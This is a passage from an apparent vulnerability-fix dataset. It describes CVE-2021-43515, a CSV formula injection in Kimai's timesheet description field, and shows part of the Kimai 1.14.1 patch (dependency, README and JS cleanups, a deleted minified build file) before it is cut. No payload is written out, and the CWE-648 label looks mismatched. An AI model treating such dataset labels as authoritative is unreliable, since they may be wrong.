IHR5cGUgVXNlclBhdGNoIHN0cnVjdCB7Ci0JSUQgaW50CisJSUQgaW50IGBqc29uOiItImAKIAogCS8vIFN0YW5kYXJkIGZpZWxkcwogCVVwZGF0ZWRUcyAqaW50NjQ=", "url": "https://github.com/usememos/memos/commit/dca35bde877aab6e64ef51b52e590b5d48f692f9.patch" } ]
CWE-648 Incorrect Use of Privileged APIs
CVE-2021-43515
CSV Injection (aka Excel Macro Injection or Formula Injection) exists in creating new timesheet in Kimai. By filling the Description field with malicious payload, it will be mistreated while exporting to a CSV file.
[ { "commit_message": "[PATCH] version 1.14.1 (#2532) * no back links in modal pages * remove unused service links to bountysource and gitter * add validation for budget and time-budget fields * display time budget if set * remove console log * sanitize DDE payloads * do not show status and name in version string .github_changelog_generator | 4 +- README.md | 2 - assets/app.js | 6 - assets/js/plugins/KimaiDatePicker.js | 1 - assets/js/plugins/KimaiForm.js | 4 +- assets/js/plugins/KimaiFormSelect.js | 1 - package.json | 31 +- public/build/0.9ec1fb96.js | 1 - public/build/1.2890d91a.js | 1 - public/build/2.42abdacc.js | 1 - public/build/app.30cfcd45.js | 1 - public/build/app.cf7b7f85.css | 1 + public/build/app.e4243154.js | 2 + public/build/app.e4243154.js.LICENSE.txt | 262 ++ public/build/app.fb1d5bab.css | 1 - public/build/calendar.070aab88.js | 1 - ...dar.1408f57e.css => calendar.25e7e872.css} | 0 public/build/calendar.6260174b.js | 2 + public/build/calendar.6260174b.js.LICENSE.txt | 79 + public/build/chart.34d60a88.js | 1 - public/build/chart.e845e930.js | 2 + public/build/chart.e845e930.js.LICENSE.txt | 10 + public/build/entrypoints.json | 49 +- ...a9556.woff => fa-brands-400.329a95a9.woff} | Bin ...0cc681d.eot => fa-brands-400.89a52ae1.eot} | Bin ...b89dd10.ttf => fa-brands-400.9e138496.ttf} | Bin ...680.woff2 => fa-brands-400.c1210e5e.woff2} | Bin ...77739c.ttf => fa-regular-400.1017bce8.ttf} | Bin ...eb50.woff => fa-regular-400.36722648.woff} | Bin ...30483d.eot => fa-regular-400.4079ae2d.eot} | Bin ...01.woff2 => fa-regular-400.68c5af1f.woff2} | Bin ...605ed792.ttf => fa-solid-900.07c3313b.ttf} | Bin ...27e1.woff2 => fa-solid-900.ada6e6df.woff2} | Bin ...e5a17c.woff => fa-solid-900.c6ec0800.woff} | Bin ...1042e8ca.eot => fa-solid-900.efbd5d20.eot} | Bin ...glyphicons-halflings-regular.4692b9ec.ttf} | Bin ...glyphicons-halflings-regular.5be1347c.eot} | Bin ...lyphicons-halflings-regular.82b1212e.woff} | Bin ...yphicons-halflings-regular.be810be3.woff2} | Bin ...a7ed552.svg => fa-brands-400.216edb96.svg} | 0 ...b42845.svg => fa-regular-400.19e27d34.svg} | 0 ...376c1f97.svg => fa-solid-900.13de59f1.svg} | 0 ...glyphicons-halflings-regular.060b2710.svg} | 0 public/build/invoice-pdf.0ce1f3ce.js | 1 + public/build/invoice-pdf.0efd7a97.js | 1 - ....d79f186b.css => invoice-pdf.9a7468ef.css} | 0 public/build/invoice.19f36eca.js | 1 + public/build/invoice.74279541.js | 1 - ...oice.13d8ef4e.css => invoice.ff32661a.css} | 0 public/build/manifest.json | 67 +- public/build/runtime.098eaae1.js | 1 - public/build/runtime.b8e7bb04.js | 1 + src/API/Model/Version.php | 2 +- src/Command/InstallCommand.php | 2 +- src/Command/UpdateCommand.php | 4 +- src/Command/VersionCommand.php | 7 +- src/Constants.php | 4 +- src/Entity/Activity.php | 4 +- src/Entity/Customer.php | 4 +- src/Entity/Project.php | 4 +- .../Actions/AbstractTimesheetSubscriber.php | 4 - .../Actions/PermissionsSubscriber.php | 5 - src/EventSubscriber/Actions/TagSubscriber.php | 4 - .../Actions/TeamSubscriber.php | 4 - .../Base/AbstractSpreadsheetRenderer.php | 15 +- src/Utils/StringHelper.php | 21 + templates/project/index.html.twig | 2 +- tests/API/StatusControllerTest.php | 2 +- tests/Command/UpdateCommandTest.php | 2 +- tests/Command/VersionCommandTest.php | 5 +- tests/ConstantsTest.php | 2 - tests/Utils/StringHelperTest.php | 26 + webpack.config.js | 54 +- yarn.lock | 3143 +++++++---------- 74 files changed, 1775 insertions(+), 2081 deletions(-) delete mode 100644 public/build/0.9ec1fb96.js delete mode 100644 public/build/1.2890d91a.js delete mode 100644 public/build/2.42abdacc.js delete mode 100644 public/build/app.30cfcd45.js create mode 100644 public/build/app.cf7b7f85.css create mode 100644 public/build/app.e4243154.js create mode 100644 public/build/app.e4243154.js.LICENSE.txt delete mode 100644 public/build/app.fb1d5bab.css delete mode 100644 public/build/calendar.070aab88.js rename public/build/{calendar.1408f57e.css => calendar.25e7e872.css} (100%) create mode 100644 public/build/calendar.6260174b.js create mode 100644 public/build/calendar.6260174b.js.LICENSE.txt delete mode 100644 public/build/chart.34d60a88.js create mode 100644 public/build/chart.e845e930.js create mode 100644 public/build/chart.e845e930.js.LICENSE.txt rename public/build/fonts/{fa-brands-400.099a9556.woff => fa-brands-400.329a95a9.woff} (100%) rename public/build/fonts/{fa-brands-400.30cc681d.eot => fa-brands-400.89a52ae1.eot} (100%) rename public/build/fonts/{fa-brands-400.3b89dd10.ttf => fa-brands-400.9e138496.ttf} (100%) rename public/build/fonts/{fa-brands-400.f7307680.woff2 => fa-brands-400.c1210e5e.woff2} (100%) rename public/build/fonts/{fa-regular-400.1f77739c.ttf => fa-regular-400.1017bce8.ttf} (100%) rename public/build/fonts/{fa-regular-400.7124eb50.woff => fa-regular-400.36722648.woff} (100%) rename public/build/fonts/{fa-regular-400.7630483d.eot => fa-regular-400.4079ae2d.eot} (100%) rename public/build/fonts/{fa-regular-400.f0f82301.woff2 => fa-regular-400.68c5af1f.woff2} (100%) rename public/build/fonts/{fa-solid-900.605ed792.ttf => fa-solid-900.07c3313b.ttf} (100%) rename public/build/fonts/{fa-solid-900.e8a427e1.woff2 => fa-solid-900.ada6e6df.woff2} (100%) rename public/build/fonts/{fa-solid-900.9fe5a17c.woff => fa-solid-900.c6ec0800.woff} (100%) rename public/build/fonts/{fa-solid-900.1042e8ca.eot => fa-solid-900.efbd5d20.eot} (100%) rename public/build/fonts/{glyphicons-halflings-regular.e18bbf61.ttf => glyphicons-halflings-regular.4692b9ec.ttf} (100%) rename public/build/fonts/{glyphicons-halflings-regular.f4769f9b.eot => glyphicons-halflings-regular.5be1347c.eot} (100%) rename public/build/fonts/{glyphicons-halflings-regular.fa277232.woff => glyphicons-halflings-regular.82b1212e.woff} (100%) rename public/build/fonts/{glyphicons-halflings-regular.448c34a5.woff2 => glyphicons-halflings-regular.be810be3.woff2} (100%) rename public/build/images/{fa-brands-400.ba7ed552.svg => fa-brands-400.216edb96.svg} (100%) rename public/build/images/{fa-regular-400.0bb42845.svg => fa-regular-400.19e27d34.svg} (100%) rename public/build/images/{fa-solid-900.376c1f97.svg => fa-solid-900.13de59f1.svg} (100%) rename public/build/images/{glyphicons-halflings-regular.89889688.svg => glyphicons-halflings-regular.060b2710.svg} (100%) create mode 100644 public/build/invoice-pdf.0ce1f3ce.js delete mode 100644 public/build/invoice-pdf.0efd7a97.js rename public/build/{invoice-pdf.d79f186b.css => invoice-pdf.9a7468ef.css} (100%) create mode 100644 public/build/invoice.19f36eca.js delete mode 100644 public/build/invoice.74279541.js rename public/build/{invoice.13d8ef4e.css => invoice.ff32661a.css} (100%) delete mode 100644 public/build/runtime.098eaae1.js create mode 100644 public/build/runtime.b8e7bb04.js", "patch_text_b64": "From dad1b8b772947f1596175add1b4f33b791705507 Mon Sep 17 00:00:00 2001
From: Kevin Papst <kevinpapst@users.noreply.github.com>
Date: Thu, 29 Apr 2021 18:29:03 +0200
Subject: [PATCH] version 1.14.1 (#2532)

* no back links in modal pages
* remove unused service links to bountysource and gitter
* add validation for budget and time-budget fields
* display time budget if set
* remove console log
* sanitize DDE payloads
* do not show status and name in version string
---
 .github_changelog_generator                   |    4 +-
 README.md                                     |    2 -
 assets/app.js                                 |    6 -
 assets/js/plugins/KimaiDatePicker.js          |    1 -
 assets/js/plugins/KimaiForm.js                |    4 +-
 assets/js/plugins/KimaiFormSelect.js          |    1 -
 package.json                                  |   31 +-
 public/build/0.9ec1fb96.js                    |    1 -
 public/build/1.2890d91a.js                    |    1 -
 public/build/2.42abdacc.js                    |    1 -
 public/build/app.30cfcd45.js                  |    1 -
 public/build/app.cf7b7f85.css                 |    1 +
 public/build/app.e4243154.js                  |    2 +
 public/build/app.e4243154.js.LICENSE.txt      |  262 ++
 public/build/app.fb1d5bab.css                 |    1 -
 public/build/calendar.070aab88.js             |    1 -
 ...dar.1408f57e.css => calendar.25e7e872.css} |    0
 public/build/calendar.6260174b.js             |    2 +
 public/build/calendar.6260174b.js.LICENSE.txt |   79 +
 public/build/chart.34d60a88.js                |    1 -
 public/build/chart.e845e930.js                |    2 +
 public/build/chart.e845e930.js.LICENSE.txt    |   10 +
 public/build/entrypoints.json                 |   49 +-
 ...a9556.woff => fa-brands-400.329a95a9.woff} |  Bin
 ...0cc681d.eot => fa-brands-400.89a52ae1.eot} |  Bin
 ...b89dd10.ttf => fa-brands-400.9e138496.ttf} |  Bin
 ...680.woff2 => fa-brands-400.c1210e5e.woff2} |  Bin
 ...77739c.ttf => fa-regular-400.1017bce8.ttf} |  Bin
 ...eb50.woff => fa-regular-400.36722648.woff} |  Bin
 ...30483d.eot => fa-regular-400.4079ae2d.eot} |  Bin
 ...01.woff2 => fa-regular-400.68c5af1f.woff2} |  Bin
 ...605ed792.ttf => fa-solid-900.07c3313b.ttf} |  Bin
 ...27e1.woff2 => fa-solid-900.ada6e6df.woff2} |  Bin
 ...e5a17c.woff => fa-solid-900.c6ec0800.woff} |  Bin
 ...1042e8ca.eot => fa-solid-900.efbd5d20.eot} |  Bin
 ...glyphicons-halflings-regular.4692b9ec.ttf} |  Bin
 ...glyphicons-halflings-regular.5be1347c.eot} |  Bin
 ...lyphicons-halflings-regular.82b1212e.woff} |  Bin
 ...yphicons-halflings-regular.be810be3.woff2} |  Bin
 ...a7ed552.svg => fa-brands-400.216edb96.svg} |    0
 ...b42845.svg => fa-regular-400.19e27d34.svg} |    0
 ...376c1f97.svg => fa-solid-900.13de59f1.svg} |    0
 ...glyphicons-halflings-regular.060b2710.svg} |    0
 public/build/invoice-pdf.0ce1f3ce.js          |    1 +
 public/build/invoice-pdf.0efd7a97.js          |    1 -
 ....d79f186b.css => invoice-pdf.9a7468ef.css} |    0
 public/build/invoice.19f36eca.js              |    1 +
 public/build/invoice.74279541.js              |    1 -
 ...oice.13d8ef4e.css => invoice.ff32661a.css} |    0
 public/build/manifest.json                    |   67 +-
 public/build/runtime.098eaae1.js              |    1 -
 public/build/runtime.b8e7bb04.js              |    1 +
 src/API/Model/Version.php                     |    2 +-
 src/Command/InstallCommand.php                |    2 +-
 src/Command/UpdateCommand.php                 |    4 +-
 src/Command/VersionCommand.php                |    7 +-
 src/Constants.php                             |    4 +-
 src/Entity/Activity.php                       |    4 +-
 src/Entity/Customer.php                       |    4 +-
 src/Entity/Project.php                        |    4 +-
 .../Actions/AbstractTimesheetSubscriber.php   |    4 -
 .../Actions/PermissionsSubscriber.php         |    5 -
 src/EventSubscriber/Actions/TagSubscriber.php |    4 -
 .../Actions/TeamSubscriber.php                |    4 -
 .../Base/AbstractSpreadsheetRenderer.php      |   15 +-
 src/Utils/StringHelper.php                    |   21 +
 templates/project/index.html.twig             |    2 +-
 tests/API/StatusControllerTest.php            |    2 +-
 tests/Command/UpdateCommandTest.php           |    2 +-
 tests/Command/VersionCommandTest.php          |    5 +-
 tests/ConstantsTest.php                       |    2 -
 tests/Utils/StringHelperTest.php              |   26 +
 webpack.config.js                             |   54 +-
 yarn.lock                                     | 3143 +++++++----------
 74 files changed, 1775 insertions(+), 2081 deletions(-)
 delete mode 100644 public/build/0.9ec1fb96.js
 delete mode 100644 public/build/1.2890d91a.js
 delete mode 100644 public/build/2.42abdacc.js
 delete mode 100644 public/build/app.30cfcd45.js
 create mode 100644 public/build/app.cf7b7f85.css
 create mode 100644 public/build/app.e4243154.js
 create mode 100644 public/build/app.e4243154.js.LICENSE.txt
 delete mode 100644 public/build/app.fb1d5bab.css
 delete mode 100644 public/build/calendar.070aab88.js
 rename public/build/{calendar.1408f57e.css => calendar.25e7e872.css} (100%)
 create mode 100644 public/build/calendar.6260174b.js
 create mode 100644 public/build/calendar.6260174b.js.LICENSE.txt
 delete mode 100644 public/build/chart.34d60a88.js
 create mode 100644 public/build/chart.e845e930.js
 create mode 100644 public/build/chart.e845e930.js.LICENSE.txt
 rename public/build/fonts/{fa-brands-400.099a9556.woff => fa-brands-400.329a95a9.woff} (100%)
 rename public/build/fonts/{fa-brands-400.30cc681d.eot => fa-brands-400.89a52ae1.eot} (100%)
 rename public/build/fonts/{fa-brands-400.3b89dd10.ttf => fa-brands-400.9e138496.ttf} (100%)
 rename public/build/fonts/{fa-brands-400.f7307680.woff2 => fa-brands-400.c1210e5e.woff2} (100%)
 rename public/build/fonts/{fa-regular-400.1f77739c.ttf => fa-regular-400.1017bce8.ttf} (100%)
 rename public/build/fonts/{fa-regular-400.7124eb50.woff => fa-regular-400.36722648.woff} (100%)
 rename public/build/fonts/{fa-regular-400.7630483d.eot => fa-regular-400.4079ae2d.eot} (100%)
 rename public/build/fonts/{fa-regular-400.f0f82301.woff2 => fa-regular-400.68c5af1f.woff2} (100%)
 rename public/build/fonts/{fa-solid-900.605ed792.ttf => fa-solid-900.07c3313b.ttf} (100%)
 rename public/build/fonts/{fa-solid-900.e8a427e1.woff2 => fa-solid-900.ada6e6df.woff2} (100%)
 rename public/build/fonts/{fa-solid-900.9fe5a17c.woff => fa-solid-900.c6ec0800.woff} (100%)
 rename public/build/fonts/{fa-solid-900.1042e8ca.eot => fa-solid-900.efbd5d20.eot} (100%)
 rename public/build/fonts/{glyphicons-halflings-regular.e18bbf61.ttf => glyphicons-halflings-regular.4692b9ec.ttf} (100%)
 rename public/build/fonts/{glyphicons-halflings-regular.f4769f9b.eot => glyphicons-halflings-regular.5be1347c.eot} (100%)
 rename public/build/fonts/{glyphicons-halflings-regular.fa277232.woff => glyphicons-halflings-regular.82b1212e.woff} (100%)
 rename public/build/fonts/{glyphicons-halflings-regular.448c34a5.woff2 => glyphicons-halflings-regular.be810be3.woff2} (100%)
 rename public/build/images/{fa-brands-400.ba7ed552.svg => fa-brands-400.216edb96.svg} (100%)
 rename public/build/images/{fa-regular-400.0bb42845.svg => fa-regular-400.19e27d34.svg} (100%)
 rename public/build/images/{fa-solid-900.376c1f97.svg => fa-solid-900.13de59f1.svg} (100%)
 rename public/build/images/{glyphicons-halflings-regular.89889688.svg => glyphicons-halflings-regular.060b2710.svg} (100%)
 create mode 100644 public/build/invoice-pdf.0ce1f3ce.js
 delete mode 100644 public/build/invoice-pdf.0efd7a97.js
 rename public/build/{invoice-pdf.d79f186b.css => invoice-pdf.9a7468ef.css} (100%)
 create mode 100644 public/build/invoice.19f36eca.js
 delete mode 100644 public/build/invoice.74279541.js
 rename public/build/{invoice.13d8ef4e.css => invoice.ff32661a.css} (100%)
 delete mode 100644 public/build/runtime.098eaae1.js
 create mode 100644 public/build/runtime.b8e7bb04.js

diff --git a/.github_changelog_generator b/.github_changelog_generator
index cf2b8e7c47..2807c06efe 100644
--- a/.github_changelog_generator
+++ b/.github_changelog_generator
@@ -1,5 +1,5 @@
 unreleased=true
-future-release=1.14
-exclude-labels=duplicate,support,question,invalid,wontfix,release,waiting for feedback
+future-release=1.15
+exclude-labels=duplicate,support,question,invalid,wontfix,release,waiting for feedback,documentation
 enhancement_labels=>enhancement,Enhancement,feature request,translation i18n,technical debt,documentation
 issues-wo-labels=false
diff --git a/README.md b/README.md
index f458ae34cf..c13bc562e4 100644
--- a/README.md
+++ b/README.md
@@ -7,8 +7,6 @@
     <a href="https://codecov.io/gh/kevinpapst/kimai2"><img alt="Code Coverage" src="https://codecov.io/gh/kevinpapst/kimai2/branch/master/graph/badge.svg"></a>
     <a href="https://packagist.org/packages/kevinpapst/kimai2"><img alt="Latest stable version" src="https://poser.pugx.org/kevinpapst/kimai2/v/stable"></a>
     <a href="https://packagist.org/packages/kevinpapst/kimai2"><img alt="License" src="https://poser.pugx.org/kevinpapst/kimai2/license"></a>
-    <a href="https://gitter.im/kimai2/support"><img alt="Gitter" src="https://badges.gitter.im/kimai2/support.svg"></a>
-    <a href="https://www.bountysource.com/teams/kimai2"><img alt="Bountysource" src="https://img.shields.io/bountysource/team/kimai2/activity"></a>
 </p>
 
 <h1 align="center">Kimai - time-tracker</h1>
diff --git a/assets/app.js b/assets/app.js
index fefdaa8265..f6948f5c16 100644
--- a/assets/app.js
+++ b/assets/app.js
@@ -71,12 +71,6 @@ require('moment/locale/zh-cn');
 
 require('daterangepicker');
 
-/*
-"sortablejs": "^1.10",
-const Sortable = require('sortablejs/Sortable.min');
-global.Sortable = Sortable;
-*/
-
 // ------ AdminLTE framework ------
 require('./sass/bootstrap.scss');
 require('./sass/fontawesome.scss');
diff --git a/assets/js/plugins/KimaiDatePicker.js b/assets/js/plugins/KimaiDatePicker.js
index 8985f81609..46c85623c3 100644
--- a/assets/js/plugins/KimaiDatePicker.js
+++ b/assets/js/plugins/KimaiDatePicker.js
@@ -11,7 +11,6 @@
 
 import jQuery from 'jquery';
 import KimaiPlugin from '../KimaiPlugin';
-import moment from "moment";
 
 export default class KimaiDatePicker extends KimaiPlugin {
 
diff --git a/assets/js/plugins/KimaiForm.js b/assets/js/plugins/KimaiForm.js
index 0d3440ab5e..1225ff9cc0 100644
--- a/assets/js/plugins/KimaiForm.js
+++ b/assets/js/plugins/KimaiForm.js
@@ -49,7 +49,9 @@ export default class KimaiForm extends KimaiPlugin {
             // If a multi-select, get all selections
             if (field.type === 'select-multiple') {
                 for (var n = 0; n < field.options.length; n++) {
-                    if (!field.options[n].selected) continue;
+                    if (!field.options[n].selected) {
+                        continue;
+                    }
                     serialized.push({
                         name: field.name,
                         value: field.options[n].value
diff --git a/assets/js/plugins/KimaiFormSelect.js b/assets/js/plugins/KimaiFormSelect.js
index 8996a44bc1..452e3468cf 100644
--- a/assets/js/plugins/KimaiFormSelect.js
+++ b/assets/js/plugins/KimaiFormSelect.js
@@ -111,7 +111,6 @@ export default class KimaiFormSelect extends KimaiPlugin {
         }};
 
         const templateResultFunc = function (state) {
-            console.log(state);
             return jQuery('<span><span style="background-color:'+state.id+'; width: 20px; height: 20px; display: inline-block; margin-right: 10px;">&nbsp;</span>' + state.text + '</span>');
         };
 
diff --git a/package.json b/package.json
index b0309aebc0..07f21ace43 100644
--- a/package.json
+++ b/package.json
@@ -21,25 +21,32 @@
     "prod": "node_modules/.bin/encore production"
   },
   "devDependencies": {
-    "@fortawesome/fontawesome-free": "^5.15.3",
-    "@symfony/webpack-encore": "^0.28",
+    "@fortawesome/fontawesome-free": "^5.15",
+    "@symfony/webpack-encore": "^1.1",
     "admin-lte": "^2.4",
     "bootstrap-sass": "^3.4",
-    "chart.js": "~2.9.3",
-    "core-js": "^3.6.5",
-    "daterangepicker": "^3.1.0",
+    "chart.js": "~2.9",
+    "core-js": "^3.6",
+    "daterangepicker": "^3.1",
+    "file-loader": "^6.0",
     "fullcalendar": "^3.9",
     "icheck": "^1.0",
-    "jquery": "^3.5.1",
+    "jquery": "<3.6",
     "jquery-slimscroll": "^1.3",
     "jquery-ui": "^1.12",
     "js-cookie": "^2.2",
-    "moment": "^2.29.1",
-    "node-sass": "^4.14.1",
-    "sass-loader": "^7.3",
+    "moment": "^2.29",
+    "node-sass": "^4.14",
+    "sass-loader": "^10.0",
     "select2": "^4.0",
     "select2-bootstrap-theme": "^0.1.0-beta.10",
-    "sweetalert2": "^10.16.3",
-    "webpack-notifier": "^1.13.0"
-  }
+    "sweetalert2": "^10.16",
+    "webpack-notifier": "^1.13"
+  },
+  "resolutions": {
+    "jquery": "3.5.1"
+  },
+  "browserslist": [
+    "defaults"
+  ]
 }
diff --git a/public/build/0.9ec1fb96.js b/public/build/0.9ec1fb96.js
deleted file mode 100644
index 0415be15d8..0000000000
--- a/public/build/0.9ec1fb96.js
+++ /dev/null
@@ -1 +0,0 @@
-(window.webpackJsonp=window.webpackJsonp||[]).push([[0],{YuTi:function(e,t){e.exports=function(e){return e.webpackPolyfill||(e.deprecate=function(){},e.paths=[],e.children||(e.children=[]),Object.defineProperty(e,"loaded",{enumerable:!0,get:function(){return e.l}}),Object.defineProperty(e,"id",{enumerable:!0,get:function(){return e.i}}),e.webpackPolyfill=1),e}},"wd/R":function(e,t,n){(function(e){e.exports=function(){"use strict";var t,n;function s(){return t.apply(null,arguments)}function i(e){return e instanceof Array||"[object Array]"===Object.prototype.toString.call(e)}function r(e){return null!=e&&"[object Object]"===Object.prototype.toString.call(e)}function a(e,t){return Object.prototype.hasOwnProperty.call(e,t)}function o(e){if(Object.getOwnPropertyNames)return 0===Object.getOwnPropertyNames(e).length;var t;for(t in e)if(a(e,t))return!1;return!0}function u(e){return void 0===e}function l(e){return"number"==typeof e||"[object Number]"===Object.prototype.toString.call(e)}function h(e){return e instanceof Date||"[object Date]"===Object.prototype.toString.call(e)}function d(e,t){var n,s=[];for(n=0;n<e.length;++n)s.push(t(e[n],n));return s}function c(e,t){for(var n in t)a(t,n)&&(e[n]=t[n]);return a(t,"toString")&&(e.toString=t.toString),a(t,"valueOf")&&(e.valueOf=t.valueOf),e}function f(e,t,n,s){return St(e,t,n,s,!0).utc()}function m(e){return null==e._pf&&(e._pf={empty:!1,unusedTokens:[],unusedInput:[],overflow:-2,charsLeftOver:0,nullInput:!1,invalidEra:null,invalidMonth:null,invalidFormat:!1,userInvalidated:!1,iso:!1,parsedDateParts:[],era:null,meridiem:null,rfc2822:!1,weekdayMismatch:!1}),e._pf}function _(e){if(null==e._isValid){var t=m(e),s=n.call(t.parsedDateParts,(function(e){return null!=e})),i=!isNaN(e._d.getTime())&&t.overflow<0&&!t.empty&&!t.invalidEra&&!t.invalidMonth&&!t.invalidWeekday&&!t.weekdayMismatch&&!t.nullInput&&!t.invalidFormat&&!t.userInvalidated&&(!t.meridiem||t.meridiem&&s);if(e._strict&&(i=i&&0===t.charsLeftOver&&0===t.unusedTokens.length&&void 0===t.bigHour),null!=Object.isFrozen&&Object.isFrozen(e))return i;e._isValid=i}return e._isValid}function y(e){var t=f(NaN);return null!=e?c(m(t),e):m(t).userInvalidated=!0,t}n=Array.prototype.some?Array.prototype.some:function(e){var t,n=Object(this),s=n.length>>>0;for(t=0;t<s;t++)if(t in n&&e.call(this,n[t],t,n))return!0;return!1};var g=s.momentProperties=[],w=!1;function p(e,t){var n,s,i;if(u(t._isAMomentObject)||(e._isAMomentObject=t._isAMomentObject),u(t._i)||(e._i=t._i),u(t._f)||(e._f=t._f),u(t._l)||(e._l=t._l),u(t._strict)||(e._strict=t._strict),u(t._tzm)||(e._tzm=t._tzm),u(t._isUTC)||(e._isUTC=t._isUTC),u(t._offset)||(e._offset=t._offset),u(t._pf)||(e._pf=m(t)),u(t._locale)||(e._locale=t._locale),g.length>0)for(n=0;n<g.length;n++)u(i=t[s=g[n]])||(e[s]=i);return e}function v(e){p(this,e),this._d=new Date(null!=e._d?e._d.getTime():NaN),this.isValid()||(this._d=new Date(NaN)),!1===w&&(w=!0,s.updateOffset(this),w=!1)}function k(e){return e instanceof v||null!=e&&null!=e._isAMomentObject}function M(e){!1===s.suppressDeprecationWarnings&&"undefined"!=typeof console&&console.warn&&console.warn("Deprecation warning: "+e)}function D(e,t){var n=!0;return c((function(){if(null!=s.deprecationHandler&&s.deprecationHandler(null,e),n){var i,r,o,u=[];for(r=0;r<arguments.length;r++){if(i="","object"==typeof arguments[r]){for(o in i+="\n["+r+"] ",arguments[0])a(arguments[0],o)&&(i+=o+": "+arguments[0][o]+", ");i=i.slice(0,-2)}else i=arguments[r];u.push(i)}M(e+"\nArguments: "+Array.prototype.slice.call(u).join("")+"\n"+(new Error).stack),n=!1}return t.apply(this,arguments)}),t)}var S,Y={};function O(e,t){null!=s.deprecationHandler&&s.deprecationHandler(e,t),Y[e]||(M(t),Y[e]=!0)}function b(e){return"undefined"!=typeof Function&&e instanceof Function||"[object Function]"===Object.prototype.toString.call(e)}function T(e,t){var n,s=c({},e);for(n in t)a(t,n)&&(r(e[n])&&r(t[n])?(s[n]={},c(s[n],e[n]),c(s[n],t[n])):null!=t[n]?s[n]=t[n]:delete s[n]);for(n in e)a(e,n)&&!a(t,n)&&r(e[n])&&(s[n]=c({},s[n]));return s}function x(e){null!=e&&this.set(e)}function N(e,t,n){var s=""+Math.abs(e),i=t-s.length;return(e>=0?n?"+":"":"-")+Math.pow(10,Math.max(0,i)).toString().substr(1)+s}s.suppressDeprecationWarnings=!1,s.deprecationHandler=null,S=Object.keys?Object.keys:function(e){var t,n=[];for(t in e)a(e,t)&&n.push(t);return n};var P=/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|N{1,5}|YYYYYY|YYYYY|YYYY|YY|y{2,4}|yo?|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,R=/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,W={},C={};function U(e,t,n,s){var i=s;"string"==typeof s&&(i=function(){return this[s]()}),e&&(C[e]=i),t&&(C[t[0]]=function(){return N(i.apply(this,arguments),t[1],t[2])}),n&&(C[n]=function(){return this.localeData().ordinal(i.apply(this,arguments),e)})}function H(e,t){return e.isValid()?(t=F(t,e.localeData()),W[t]=W[t]||function(e){var t,n,s,i=e.match(P);for(t=0,n=i.length;t<n;t++)C[i[t]]?i[t]=C[i[t]]:i[t]=(s=i[t]).match(/\[[\s\S]/)?s.replace(/^\[|\]$/g,""):s.replace(/\\/g,"");return function(t){var s,r="";for(s=0;s<n;s++)r+=b(i[s])?i[s].call(t,e):i[s];return r}}(t),W[t](e)):e.localeData().invalidDate()}function F(e,t){var n=5;function s(e){return t.longDateFormat(e)||e}for(R.lastIndex=0;n>=0&&R.test(e);)e=e.replace(R,s),R.lastIndex=0,n-=1;return e}var L={};function V(e,t){var n=e.toLowerCase();L[n]=L[n+"s"]=L[t]=e}function E(e){return"string"==typeof e?L[e]||L[e.toLowerCase()]:void 0}function G(e){var t,n,s={};for(n in e)a(e,n)&&(t=E(n))&&(s[t]=e[n]);return s}var A={};function j(e,t){A[e]=t}function I(e){return e%4==0&&e%100!=0||e%400==0}function Z(e){return e<0?Math.ceil(e)||0:Math.floor(e)}function z(e){var t=+e,n=0;return 0!==t&&isFinite(t)&&(n=Z(t)),n}function $(e,t){return function(n){return null!=n?(q(this,e,n),s.updateOffset(this,t),this):J(this,e)}}function J(e,t){return e.isValid()?e._d["get"+(e._isUTC?"UTC":"")+t]():NaN}function q(e,t,n){e.isValid()&&!isNaN(n)&&("FullYear"===t&&I(e.year())&&1===e.month()&&29===e.date()?(n=z(n),e._d["set"+(e._isUTC?"UTC":"")+t](n,e.month(),ke(n,e.month()))):e._d["set"+(e._isUTC?"UTC":"")+t](n))}var B,Q=/\d/,X=/\d\d/,K=/\d{3}/,ee=/\d{4}/,te=/[+-]?\d{6}/,ne=/\d\d?/,se=/\d\d\d\d?/,ie=/\d\d\d\d\d\d?/,re=/\d{1,3}/,ae=/\d{1,4}/,oe=/[+-]?\d{1,6}/,ue=/\d+/,le=/[+-]?\d+/,he=/Z|[+-]\d\d:?\d\d/gi,de=/Z|[+-]\d\d(?::?\d\d)?/gi,ce=/[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i;function fe(e,t,n){B[e]=b(t)?t:function(e,s){return e&&n?n:t}}function me(e,t){return a(B,e)?B[e](t._strict,t._locale):new RegExp(_e(e.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,(function(e,t,n,s,i){return t||n||s||i}))))}function _e(e){return e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}B={};var ye,ge={};function we(e,t){var n,s=t;for("string"==typeof e&&(e=[e]),l(t)&&(s=function(e,n){n[t]=z(e)}),n=0;n<e.length;n++)ge[e[n]]=s}function pe(e,t){we(e,(function(e,n,s,i){s._w=s._w||{},t(e,s._w,s,i)}))}function ve(e,t,n){null!=t&&a(ge,e)&&ge[e](t,n._a,n,e)}function ke(e,t){if(isNaN(e)||isNaN(t))return NaN;var n,s=(t%(n=12)+n)%n;return e+=(t-s)/12,1===s?I(e)?29:28:31-s%7%2}ye=Array.prototype.indexOf?Array.prototype.indexOf:function(e){var t;for(t=0;t<this.length;++t)if(this[t]===e)return t;return-1},U("M",["MM",2],"Mo",(function(){return this.month()+1})),U("MMM",0,0,(function(e){return this.localeData().monthsShort(this,e)})),U("MMMM",0,0,(function(e){return this.localeData().months(this,e)})),V("month","M"),j("month",8),fe("M",ne),fe("MM",ne,X),fe("MMM",(function(e,t){return t.monthsShortRegex(e)})),fe("MMMM",(function(e,t){return t.monthsRegex(e)})),we(["M","MM"],(function(e,t){t[1]=z(e)-1})),we(["MMM","MMMM"],(function(e,t,n,s){var i=n._locale.monthsParse(e,s,n._strict);null!=i?t[1]=i:m(n).invalidMonth=e}));var 